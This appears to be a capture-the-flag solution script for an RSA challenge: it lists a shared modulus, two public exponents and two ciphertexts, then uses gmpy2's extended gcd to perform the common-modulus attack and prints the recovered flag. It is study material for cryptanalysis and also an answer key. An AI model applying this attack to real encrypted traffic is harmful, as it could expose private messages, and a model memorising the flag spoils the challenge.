n= 29143645421250041964610131519796316209374397204155469976436282970270223093227270116936148775043815634542786053957754648588547916685855943233747355087950255420084529208272959726798944771529812280211595246632324164318414568921620903228792312422949049251124675105357096001511900182384982136608469004475877350443767898973989583173128030434940886052792797816540787358610263798109517476404857884853737946851599020695228874374154464554424052641473818628619315542580958678324625251508687755281620720247997239232768548283841103391498016239630806481980671475372463330330690559668182431046684389707596830868072082755735808300723
e1= 2333
e2= 23333
c1= 28464542187422191031850220803592681443982634383785165404787481127746742239081112082691277387380864221897493018787897237288845518265099977907474953791840485909853466983639444091059228300562651089136949321590723345012238904080799669440783536285513938852463305681933753888253442824802846555416205812335548719095747051066829873263830078172121545700751405449738971567108453397818830862826958070177783517124845910659072272862984614381062761492904361633028713990053614106081540076229259722671415935974092569803776537579754503894924503109547447412708945156397515728781495017776632238192662716448961774725838090086512922104959
c2= 25460740614301054941307417174277347322525553796796196288752769907863955398765515335380778529183621484339197914989256662774198864351177654624197775903029703756861955442584045861986636864875901226135976736671991519278805887617112679731304236414795141091073965816301344099945916381853638867328898132344214266933361239131644854117821204868171505133539861191262265599453830009333580296852518159984059120727521818924305349230266951553997005351779068782851592785429670130975251007122036733544487495703754895368638401347707384114165405725474647288045480904543934563092673393523874294830739729422653819421294571780102207292072
assert gmpy2.gcd (e1, e2) == 1
_, s1, s2 = gmpy2.gcdext(e1, e2) # 结果第一位为标志位
m = pow(c1, s1, n) if s1 > 0 else pow(gmpy2.invert(c1, n), -s1, n) # s1,s2可能为负
m *= pow(c2, s2, n) if s2 >0 else pow(gmpy2.invert(c2, n), -s2, n)
print(libnum.n2s(int(m % n))) #最后相乘的结果要模N
# flag{01645dce-022e-49cb-9523-4b4d8e84a0e2}